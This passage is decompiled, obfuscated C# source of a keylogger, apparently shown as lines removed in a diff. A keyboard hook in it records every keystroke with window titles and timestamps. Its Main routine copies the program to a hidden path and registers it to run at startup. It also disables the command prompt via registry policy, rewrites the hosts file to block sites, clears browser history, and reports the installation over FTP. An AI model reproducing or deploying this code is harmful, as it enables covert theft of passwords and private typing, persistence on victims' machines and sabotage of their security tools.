4; - goto label_4; - } - catch (Exception ex) - { - Module1.lorJqFhvZq7sEyUWus((object) ex); - Module1.tfQG9ZxSAoLso7uAc4(); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void TYvCKnBzQ() - { - try - { - if (!Module1.u6k9fpnAEtxb1Qw638(Module1.sZW75KM8OLe6gP56Nm())) - return; - Module1.aK5Gis8GMgDL8lkmJj(); - int num = Module1.\u0039tQwKe2CnnLlNBStFc() ? 3 : 2; - while (true) - { - switch (num) - { - case 0: - case 2: - if (Module1.MosHDlzYZ(Module1.KuG1oecseu4CmPle79(Module1.KeyboardHandle)) == 0) - goto label_5; - else - break; - case 4: - goto label_9; - } - Module1.KeyboardHandle = Module1.urlYk5DMsRD6pl8GXI(0); - num = 4; - } -label_5: - return; -label_9:; - } - catch (Exception ex) - { - Module1.lorJqFhvZq7sEyUWus((object) ex); - Module1.tfQG9ZxSAoLso7uAc4(); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string KrtO( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int num1 = 4; - int num2; - int num3; - int num4; - string str; - while (true) - { - switch (num1) - { - case 0: - case 1: - str = string.Empty; - num1 = 3; - continue; - case 2: - num4 = Module1.el1LjDI2xAy3DR7L5y((object) strSource, (object) strEnd, checked (num2 + num3)); - goto case 6; - case 3: - num2 = Module1.el1LjDI2xAy3DR7L5y((object) strSource, (object) strStart, startPos); - num1 = 2; - continue; - case 4: - do - { - num3 = Module1.\u0032LCDS4bby7cFt56678((object) strStart); - Module1.aK5Gis8GMgDL8lkmJj(); - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - goto label_12; - } - while (false); - num1 = 8; - continue; -label_12: - num1 = 0; - continue; - case 5: - case 8: - if (num4 != -1) - { - num1 = 7; - continue; - } - goto label_13; - case 6: - if (num2 == -1) - goto label_13; - else - goto case 5; - case 7: - str = (string) Module1.flsXGuZ01VhsxXweYp((object) strSource, checked (num2 + num3), checked (num4 - num2 + num3)); - if (true) - { - num1 = 9; - continue; - } - goto case 0; - case 9: - goto label_13; - default: - num1 = 6; - continue; - } - } -label_13: - return str; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static int rfRs(int Code, int wParam, ref Module1.soonsdW lParam) - { - int num1; - try - { - object obj = Module1.ku8iNWkiRIjETCg4kh(); - int num2; - if (Module1.\u0033Jlrmg3L5hBhgAKNtb(obj, Module1.LastCheckedForegroundTitle, false)) - { - num2 = 65; - goto label_74; - } -label_10: - string str = ""; - num2 = 47; -label_74: - while (true) - { - switch (num2) - { - case 0: -label_161: - str = ")"; - num2 = 111; - continue; - case 1: - case 2: - case 6: - case 10: - case 12: - case 14: - case 16: - case 34: - case 35: - case 37: - case 38: - case 44: - case 54: - case 55: - case 58: - case 59: - case 61: - case 64: - case 67: - case 68: - case 77: - case 78: - case 80: - case 81: - case 82: - case 91: - case 95: - case 96: - case 109: - case 110: - case 111: - case 113: - case 117: - case 119: - case 121: - case 125: - case 126: - case 128: - case 132: - case 133: - case 136: - case 139: - case 143: - case 144: - case 145: -label_98: - do - { - Module1.ZTliFbzF = Module1.GeKcxdf1Ev4XQMv1b5(Module1.ZTliFbzF, (object) str); - } - while (false); - num2 = 142; - continue; - case 3: - str = ";"; - num2 = 9; - continue; - case 4: - num1 = Module1.CallNextHookEx(Module1.KuG1oecseu4CmPle79(Module1.KeyboardHandle), Code, wParam, lParam); - num2 = 149; - continue; - case 5: -label_206: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(9); - num2 = 24; - continue; - case 7: - str = "}"; - num2 = 39; - continue; - case 8: - case 92: -label_102: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(lParam.vkCode); - int num3 = 84; - num2 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num3 : num3; - continue; - case 9: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "188", false) == 0) - { - if (true) - { - num2 = 28; - continue; - } - goto case 13; - } - else - goto case 53; - case 11: - str = "\""; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num2 = 112; - continue; - } - goto case 15; - case 13: - str = "&"; - num2 = 64; - continue; - case 15: - str = "\\"; - num2 = 135; - continue; - case 17: - if (Module1.d3MpZNgGeBdeZxTakx(Module1.NRkiAkqqGOSKpNEn0D(Module1.CaMd2BvH2uoKiGkKIp())) & Module1.IsT2RoHgHmDrTwMuLE(Module1.NRkiAkqqGOSKpNEn0D(Module1.CaMd2BvH2uoKiGkKIp())) & lParam.vkCode == 83) - { - num2 = 148; - continue; - } - break; - case 18: - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.yitzvHYZ) - { - num2 = 115; - continue; - } - goto label_168; - case 162: - case 163: - str = "[/ctrl]"; - num2 = 44; - continue; - case 164: - str = "[/lalt]"; - num2 = 2; - continue; - case 165: - str = "[/ralt]"; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num2 = 78; - continue; - } - goto label_98; - default: - num2 = 143; - continue; - } - case 19: - str = "("; - num2 = 77; - continue; - case 20: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "219", false) == 0) - { - num2 = 79; - continue; - } - goto case 137; - case 21: - str = "*"; - num2 = 37; - continue; - case 22: - str = "%"; - num2 = 96; - continue; - case 23: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "44", false) == 0) - { - num2 = 72; - continue; - } - goto case 1; - case 24: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "`", false) == 0) - { - num2 = 120; - continue; - } - goto case 1; - case 25: - str = "*"; - num2 = 33; - continue; - case 26: - str = "`"; - num2 = 83; - continue; - case 27: -label_168: - Module1.DuTwbZHv = false; - num2 = 109; - continue; - case 28: - str = ","; - int num4 = 53; - num2 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num4 : num4; - continue; - case 29: -label_12: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "g", false) == 0) - { - num2 = 94; - continue; - } - goto case 73; - case 30: - str = "|"; - num2 = 116; - continue; - case 31: - str = "[/cl]"; - num2 = 55; - continue; - case 32: - str = "<"; - int num5 = 41; - num2 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num5 : num5; - continue; - case 33: -label_88: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "111", false) == 0) - { - num2 = 43; - continue; - } - goto case 23; - case 36: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(5); - if (true) - { - num2 = 138; - continue; - } - goto case 141; - case 39: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "220", false) == 0) - { - num2 = 30; - continue; - } - goto case 116; - case 40: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "1", false) != 0) - { - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "2", false) == 0) - { - num2 = 57; - continue; - } - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "3", false) != 0) - { - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "4", false) == 0) - { - if (true) - { - num2 = 48; - continue; - } - goto case 3; - } - else - { - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "5", false) == 0) - { - num2 = 22; - continue; - } - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "6", false) != 0) - { - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "7", false) != 0) - { - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "8", false) == 0) - { - num2 = 21; - continue; - } - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "9", false) == 0) - { - num2 = 19; - continue; - } - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "0", false) == 0) - { - if (true) - { - num2 = 0; - continue; - } - goto case 85; - } - else - goto case 1; - } - else - { - num2 = 13; - continue; - } - } - else - { - num2 = 87; - continue; - } - } - } - else - { - num2 = 129; - continue; - } - } - else - { - num2 = 74; - continue; - } - case 41: -label_15: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "191", false) == 0) - { - int maxValue = (int) sbyte.MaxValue; - num2 = Module1.\u0039tQwKe2CnnLlNBStFc() ? maxValue : maxValue; - continue; - } - goto case 66; - case 42: - str = "+"; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num2 = 69; - continue; - } - goto case 97; - case 43: - str = "/"; - num2 = 23; - continue; - case 45: - str = " [DuTwbZHv] "; - num2 = 144; - continue; - case 46: - str = (string) Module1.bK9ciL9K0YYnomcqX6((object) str); - num2 = 1; - continue; - case 47: - if (wParam == 256 | wParam == 260) - { - num2 = 146; - continue; - } - if (wParam == 257 | wParam == 261) - { - if (true) - { - num2 = 18; - continue; - } - goto case 137; - } - else - goto case 1; - case 48: - str = "$"; - num2 = 6; - continue; - case 49: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "192", false) == 0) - { - num2 = 90; - continue; - } - goto case 20; - case 50: - str = (string) Module1.Nv32S7Fy7Zg4ZB6FGx(Module1.cYkwxTPHLJY7M1NCV1(checked (lParam.vkCode + 32))); - num2 = 46; - continue; - case 51: - str = "[BS]"; - num2 = 121; - continue; - case 52: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "i", false) == 0) - { - num2 = 5; - continue; - } - goto case 24; - case 53: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "191", false) == 0) - { - num2 = 147; - continue; - } - goto case 131; - case 56: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(1); - if (true) - { - num2 = 114; - continue; - } - goto case 93; - case 57: - str = "@"; - num2 = 61; - continue; - case 60: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "188", false) == 0) - { - num2 = 32; - continue; - } - goto case 41; - case 62: - str = ":"; - num2 = 60; - continue; - case 63: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "c", false) != 0) - goto case 75; - else - goto case 85; - case 65: - Module1.LastCheckedForegroundTitle = Module1.D1yI7Lm8S8hp1XhEMP(obj); - num2 = 103; - continue; - case 66: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "187", false) == 0) - { - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num2 = 42; - continue; - } - goto label_218; - } - else - goto case 69; - case 69: - case 106: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "107", false) == 0) - { - num2 = 105; - continue; - } - goto case 134; - case 70: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "186", false) == 0) - { - if (true) - { - num2 = 3; - continue; - } - goto case 146; - } - else - goto case 9; - case 71: - if (Module1.kZL15KESGgIZvivYfs(Module1.NRkiAkqqGOSKpNEn0D(Module1.CaMd2BvH2uoKiGkKIp()))) - { - num2 = 88; - continue; - } - Module1.StDPqLpO = true; - num2 = 125; - continue; - case 72: - str = " [SS] "; - num2 = 14; - continue; - case 73: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "h", false) == 0) - { - num2 = 98; - continue; - } - goto case 52; - case 74: - str = "!"; - num2 = 34; - continue; - case 75: - case 76: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "d", false) == 0) - { - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num2 = 86; - continue; - } - goto case 116; - } - else - goto case 104; - case 79: - str = "{"; - num2 = 137; - continue; - case 83: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "219", false) == 0) - { - num2 = 99; - continue; - } - goto case 97; - case 84: - if (Module1.DuTwbZHv) - { - num2 = 49; - continue; - } - if (!Module1.DuTwbZHv) - { - if (true) - { - num2 = 140; - continue; - } - goto case 27; - } - else - goto case 69; - case 85: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(3); - goto case 75; - case 86: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(4); - num2 = 104; - continue; - case 87: - str = "^"; - num2 = 133; - continue; - case 88: - Module1.StDPqLpO = false; - num2 = 67; - continue; - case 89: - case 149: - goto label_218; - case 90: - str = "~"; - num2 = 20; - continue; - case 93: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(6); - num2 = 29; - continue; - case 94: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(7); - if (true) - { - num2 = 73; - continue; - } - goto case 49; - case 97: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "221", false) == 0) - { - num2 = 118; - continue; - } - goto case 107; - case 98: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(8); - num2 = 52; - continue; - case 99: - str = "["; - if (true) - { - num2 = 97; - continue; - } - goto case 43; - case 100: -label_165: - str = (string) Module1.Nv32S7Fy7Zg4ZB6FGx(Module1.cYkwxTPHLJY7M1NCV1(lParam.vkCode)); - num2 = 40; - continue; - case 101: - str = "_"; - num2 = 95; - continue; - case 102: -label_142: - str = ""; - num2 = 35; - continue; - case 103: -label_26: - Module1.ZTliFbzF = Module1.D1yI7Lm8S8hp1XhEMP(Module1.w9ViC9JjcNa9XFfrg7(Module1.ZTliFbzF, Module1.w9ViC9JjcNa9XFfrg7(Module1.w9ViC9JjcNa9XFfrg7(Module1.w9ViC9JjcNa9XFfrg7(Module1.w9ViC9JjcNa9XFfrg7(Module1.w9ViC9JjcNa9XFfrg7(Module1.GeKcxdf1Ev4XQMv1b5((object) "\r\n", Module1.xJPLWnCK), obj), (object) " - "), (object) Module1.bukOsUV7jtnskmOEG1().ToString()), Module1.zIxdYZXc), (object) "\r\n"))); - num2 = 130; - continue; - case 104: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "e", false) == 0) - { - num2 = 36; - continue; - } - goto case 138; - case 105: - str = "+"; - num2 = 134; - continue; - case 107: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "220", false) == 0) - { - num2 = 15; - continue; - } - goto case 135; - case 108: - str = "."; - num2 = 81; - continue; - case 112: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "186", false) == 0) - { - num2 = 62; - continue; - } - goto case 60; - case 114: -label_4: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "b", false) == 0) - { - num2 = 141; - continue; - } - goto case 63; - case 115: - str = "[/DuTwbZHv]"; - num2 = 27; - continue; - case 116: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "222", false) == 0) - { - num2 = 11; - continue; - } - goto case 112; - case 118: - str = "]"; - num2 = 107; - continue; - case 120: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(0); - num2 = 126; - continue; - case 122: - str = "="; - num2 = 106; - continue; - case 123: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "a", false) == 0) - { - num2 = 56; - continue; - } - goto case 114; - case 124: - str = "'"; - if (true) - { - num2 = 70; - continue; - } - goto case 39; - case (int) sbyte.MaxValue: - str = "?"; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num2 = 66; - continue; - } - goto case 31; - case 129: - str = "#"; - num2 = 119; - continue; - case 130: - goto label_10; - case 131: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "187", false) == 0) - { - int num6 = 122; - num2 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num6 : num6; - continue; - } - goto case 69; - case 134: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "107", false) == 0) - { - num2 = 25; - continue; - } - goto case 33; - case 135: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "222", false) == 0) - { - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num2 = 124; - continue; - } - goto case 9; - } - else - goto case 70; - case 137: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "221", false) == 0) - { - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num2 = 7; - continue; - } - goto case 105; - } - else - goto case 39; - case 138: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "f", false) == 0) - { - num2 = 93; - continue; - } - goto case 29; - case 140: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "192", false) == 0) - { - if (true) - { - num2 = 26; - continue; - } - goto case 1; - } - else - goto case 83; - case 141: - str = (string) Module1.FBtMjMrJbh2EvGGTVu(2); - num2 = 63; - continue; - case 142: - if (Module1.p6pqE4O4jYnrmrnfx8((object) str, (object) "", false) != 0) - { - num2 = 4; - continue; - } - goto case 4; - case 146: - if (Code >= 0) - { - num2 = 17; - continue; - } - break; - case 147: - str = "/"; - num2 = 131; - continue; - case 148: - num1 = 1; - num2 = 89; - continue; - default: - num2 = 85; - continue; - } - switch (lParam.vkCode) - { - case 8: - if (!(Module1.FTKBD943axWdrcoLtJ(Module1.ZTliFbzF, Module1.GeKcxdf1Ev4XQMv1b5(Module1.zIxdYZXc, (object) "\r\n")) | !Module1.LSlsiOJK | Module1.FTKBD943axWdrcoLtJ(Module1.ZTliFbzF, (object) "]"))) - { - Module1.ZTliFbzF = Module1.Qc9HD4WRktEJ2l4gqDm(Module1.ZTliFbzF, checked (Module1.\u0032LCDS4bby7cFt56678(Module1.QeYY1Nz7P7IZT3xt5J(Module1.ZTliFbzF)) - 1)); - num2 = 102; - continue; - } - num2 = 51; - continue; - case 9: - str = "\t"; - num2 = 12; - continue; - case 10: - case 11: - case 12: - case 14: - case 15: - case 16: - case 17: - case 18: - case 19: - case 21: - case 22: - case 23: - case 24: - case 25: - case 26: - case 28: - case 29: - case 30: - case 31: - case 33: - case 34: - case 35: - case 36: - case 41: - case 42: - case 43: - case 44: - case 45: - case 47: - case 58: - case 59: - case 60: - case 61: - case 62: - case 63: - case 64: - case 91: - case 92: - case 93: - case 94: - case 95: - case 106: - case 107: - case 108: - case 111: - case 136: - case 137: - case 138: - case 139: - case 140: - case 141: - case 142: - case 143: - case 144: - case 145: - case 146: - case 147: - case 148: - case 149: - case 150: - case 151: - case 152: - case 153: - case 154: - case 155: - case 156: - case 157: - case 158: - case 159: - case 166: - case 167: - case 168: - case 169: - case 170: - case 171: - case 172: - case 173: - case 174: - case 175: - case 176: - case 177: - case 178: - case 179: - case 180: - case 181: - case 182: - case 183: - case 184: - case 185: - case 186: - case 187: - case 188: - goto label_102; - case 13: - str = "\r\n"; - num2 = 132; - continue; - case 20: - if (!Module1.yitzvHYZ) - { - if (!Module1.kZL15KESGgIZvivYfs(Module1.NRkiAkqqGOSKpNEn0D(Module1.CaMd2BvH2uoKiGkKIp()))) - { - str = "[cl]"; - if (true) - { - num2 = 139; - continue; - } - goto label_26; - } - else - { - num2 = 31; - continue; - } - } - else - { - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num2 = 71; - continue; - } - goto label_142; - } - case 27: - str = " [esc] "; - num2 = 58; - continue; - case 32: - str = " "; - if (true) - { - num2 = 10; - continue; - } - goto label_4; - case 37: - str = "[<]"; - if (true) - { - num2 = 136; - continue; - } - goto label_165; - case 38: - str = "[^]"; - if (true) - { - num2 = 54; - continue; - } - goto label_98; - case 39: - str = "[>]"; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num2 = 113; - continue; - } - goto label_206; - case 40: - str = "[V]"; - num2 = 145; - continue; - case 46: - str = " [dlt] "; - num2 = 59; - continue; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (!Module1.DuTwbZHv) - { - str = (string) Module1.Nv32S7Fy7Zg4ZB6FGx(Module1.cYkwxTPHLJY7M1NCV1(lParam.vkCode)); - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num2 = 82; - continue; - } - goto label_15; - } - else - { - num2 = 100; - continue; - } - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - if (!(Module1.DuTwbZHv | Module1.StDPqLpO)) - { - str = (string) Module1.Nv32S7Fy7Zg4ZB6FGx(Module1.cYkwxTPHLJY7M1NCV1(checked (lParam.vkCode + 32))); - num2 = 128; - continue; - } - if (true) - { - num2 = 50; - continue; - } - goto label_88; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - str = (string) Module1.Nv32S7Fy7Zg4ZB6FGx(Module1.cYkwxTPHLJY7M1NCV1(lParam.vkCode)); - num2 = 123; - continue; - case 109: - case 189: - if (Module1.DuTwbZHv) - { - num2 = 101; - continue; - } - str = "-"; - if (true) - { - num2 = 80; - continue; - } - goto label_98; - case 110: - case 190: - if (!Module1.DuTwbZHv) - { - num2 = 108; - continue; - } - str = ">"; - int num7 = 110; - num2 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num7 : num7; - continue; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - str = (string) Module1.Cu6LEMoCdLZt1XXcm1((object) "[F", Module1.FBtMjMrJbh2EvGGTVu(checked (lParam.vkCode - 111)), (object) "]"); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num2 = 117; - continue; - } - goto label_161; - case 160: - case 161: - if (Module1.yitzvHYZ) - { - Module1.DuTwbZHv = true; - num2 = 16; - continue; - } - num2 = 45; - continue; - case 162: - case 163: - str = " [ctrl] "; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num2 = 68; - continue; - } - goto label_12; - case 164: - str = " [alt] "; - num2 = 38; - continue; - case 165: - str = " [ralt] "; - num2 = 91; - continue; - default: - Module1.aK5Gis8GMgDL8lkmJj(); - num2 = Module1.\u0039tQwKe2CnnLlNBStFc() ? 76 : 92; - continue; - } - } - } - catch (Exception ex) - { - Module1.lorJqFhvZq7sEyUWus((object) ex); - num1 = Module1.fkvBv3WWIxGswsNxvoE((object) ""); - Module1.tfQG9ZxSAoLso7uAc4(); - } -label_218: - return num1; - } - - [STAThread] - [MethodImpl(MethodImplOptions.NoInlining)] - public static void Main() - { - int num1 = 72; - Thread thread1; - string cJciqfLuv; - FileInfo fileInfo; - MessageBoxIcon icon; - DateTime today; - Thread thread2; - string str1; - int integer; - CJnBzQT cjnBzQt; - int index; - string[] strArray; - string str2; - while (true) - { - switch (num1) - { - case 0: - if (System.IO.File.Exists((string) Module1.cJciqfLUV + (string) Module1.dnWWKK)) - { - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 18; - continue; - } - goto case 24; - } - else - goto case 38; - case 1: - Environment.Exit(0); - num1 = 16; - continue; - case 2: - case 12: - if (DateTime.Compare(today.Date, Conversions.ToDate((string) Module1.SDDate)) == 0) - { - if (true) - { - num1 = 52; - continue; - } - goto case 67; - } - else - goto case 80; - case 3: - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str2); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 76; - continue; - } - goto case 51; - case 4: - case 63: - ProjectData.EndApp(); - num1 = 15; - continue; - case 5: - if (Operators.CompareString(Application.StartupPath, (string) Module1.cJciqfLUV, false) != 0) - { - num1 = 49; - continue; - } - goto case 15; - case 6: - ref object local1 = ref Module1.ikRXq; - ref object local2 = ref Module1.BNefB; - ref object local3 = ref Module1.NWiLe; - ref object local4 = ref Module1.pmgyv; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local5 = ref str1; - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - // ISSUE: cast to a reference type - Module1.UpFTP((string&) ref local1, (string&) ref local2, (string&) ref local3, (string&) ref local4, ref local5); - num1 = 51; - continue; - case 7: - Process.Start(Path.GetTempPath() + (string) Module1.QtVGWac, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - if (true) - { - num1 = 42; - continue; - } - goto case 49; - case 8: - System.IO.File.Delete(Path.GetTempPath() + (string) Module1.QtVGWac); - num1 = 86; - continue; - case 9: - if (Module1.JMEcrkUDF == 2) - { - num1 = 69; - continue; - } - goto case 17; - case 10: - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - num1 = 67; - continue; - case 11: - cJciqfLuv = (string) Module1.cJciqfLUV; - num1 = 20; - continue; - case 13: - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - num1 = 9; - continue; - case 14: - if (!Module1.FUBHaiY) - { - Process.Start(Path.GetTempPath() + (string) Module1.QtVGWac); - goto case 42; - } - else - { - if (true) - { - num1 = 7; - continue; - } - goto case 26; - } - case 15: - cjnBzQt = new CJnBzQT((string) Module1.fXwZEC); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 22; - continue; - } - goto case 25; - case 16: - try - { - if (Operators.CompareString((string) Module1.doGVcenLG, "CurrentUser", false) == 0 | Operators.CompareString((string) Module1.doGVcenLG, "LocalMachine", false) == 0) - { - Module1.aK5Gis8GMgDL8lkmJj(); - switch (Module1.\u0039tQwKe2CnnLlNBStFc() ? 3 : 2) - { - case 0: - case 2: - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - break; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num2 = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (((string) Module1.pxLmGlKbC).Length != 4) - { - num1 = 75; - continue; - } - goto case 58; - case 17: - if (Module1.pfLUUTYJ) - { - num1 = 55; - continue; - } - goto case 74; - case 18: - ProjectData.EndApp(); - if (true) - { - num1 = 38; - continue; - } - goto case 70; - case 19: - case 28: - case 33: - case 37: - case 53: - case 73: - Module1.JeRbytX = (object) Module1.TripleDESDecode(Module1.JeRbytX, (object) "System.Net"); - num1 = 82; - continue; - case 20: - if (Operators.CompareString(cJciqfLuv, "AaD", false) != 0) - { - if (Operators.CompareString(cJciqfLuv, "FaF", false) == 0) - { - num1 = 54; - continue; - } - if (Operators.CompareString(cJciqfLuv, "MaD", false) != 0) - { - if (Operators.CompareString(cJciqfLuv, "SaF", false) == 0) - { - num1 = 23; - continue; - } - if (Operators.CompareString(cJciqfLuv, "WaF", false) != 0) - { - Module1.cJciqfLUV = Module1.cJciqfLUV; - num1 = 33; - continue; - } - num1 = 65; - continue; - } - num1 = 60; - continue; - } - int num3 = 88; - num1 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num3 : num3; - continue; - case 21: - if (System.IO.File.Exists(Path.GetTempPath() + (string) Module1.QtVGWac)) - { - if (true) - { - num1 = 8; - continue; - } - goto case 4; - } - else - goto case 86; - case 22: - if (cjnBzQt.IsRunning()) - { - num1 = 1; - continue; - } - goto case 16; - case 23: - Module1.cJciqfLUV = (object) Module1.uajkinY; - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 53; - continue; - } - goto case 15; - case 24: - case 41: -label_94: - if (Module1.SSTime) - { - if (true) - { - num1 = 84; - continue; - } - goto case 75; - } - else - goto label_132; - case 25: - Module1.qIGcM(); - num1 = 63; - continue; - case 26: - case 47: - if (index >= strArray.Length) - { - num1 = 58; - continue; - } - str2 = strArray[index]; - num1 = 3; - continue; - case 27: - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 77; - continue; - } - goto case 32; - case 29: - Process.Start((string) Module1.cJciqfLUV + (string) Module1.dnWWKK); - goto case 62; - case 30: - Module1.lMVhKdJg = (object) Conversions.ToString(integer); - num1 = 78; - continue; - case 31: - int num4 = (int) MessageBox.Show((string) Module1.Message[1], (string) Module1.Message[0], MessageBoxButtons.OK, icon); - num1 = 0; - continue; - case 32: - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - num1 = 44; - continue; - case 34: - Module1.jlSYrzoUQ(Conversions.ToInteger((string) Module1.Delay)); - num1 = 11; - continue; - case 35: - if (System.IO.File.Exists(Path.GetTempPath() + (string) Module1.QtVGWac)) - { - num1 = 14; - continue; - } - goto case 42; - case 36: - if (Module1.SnBnaCY) - { - num1 = 59; - continue; - } - goto case 78; - case 38: - if (Module1.FRMsg) - { - num1 = 36; - continue; - } - goto case 51; - case 39: - if (Module1.glyJe) - { - num1 = 27; - continue; - } - goto case 77; - case 40: - Module1.dnWWKK = (object) ("\\" + (string) Module1.dnWWKK); - if (true) - { - num1 = 5; - continue; - } - goto case 21; - case 42: - case 45: - if (Module1.drYpcgGt) - { - if (true) - { - num1 = 10; - continue; - } - goto case 34; - } - else - goto case 9; - case 43: - cnhziFozG.Running = true; - num1 = 24; - continue; - case 44: - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, (string) Module1.cJciqfLUV + (string) Module1.dnWWKK); - num1 = 29; - continue; - case 46: - icon = (MessageBoxIcon) Conversions.ToInteger((string) Module1.Message[2]); - num1 = 31; - continue; - case 48: - if (Module1.zvHKZuvG) - { - num1 = 32; - continue; - } - goto case 44; - case 49: - if (!((string) Module1.Message[0]).Contains("MsgFalse+")) - { - num1 = 85; - continue; - } - goto case 0; - case 50: - fileInfo.Attributes = FileAttributes.Hidden; - num1 = 4; - continue; - case 51: - if (Module1.JgyLyv) - { - if (true) - { - num1 = 21; - continue; - } - goto case 48; - } - else - goto case 42; - case 52: - Module1.qIGcM(); - num1 = 80; - continue; - case 54: - Module1.cJciqfLUV = (object) Module1.rdhIvtn; - int num5 = 73; - 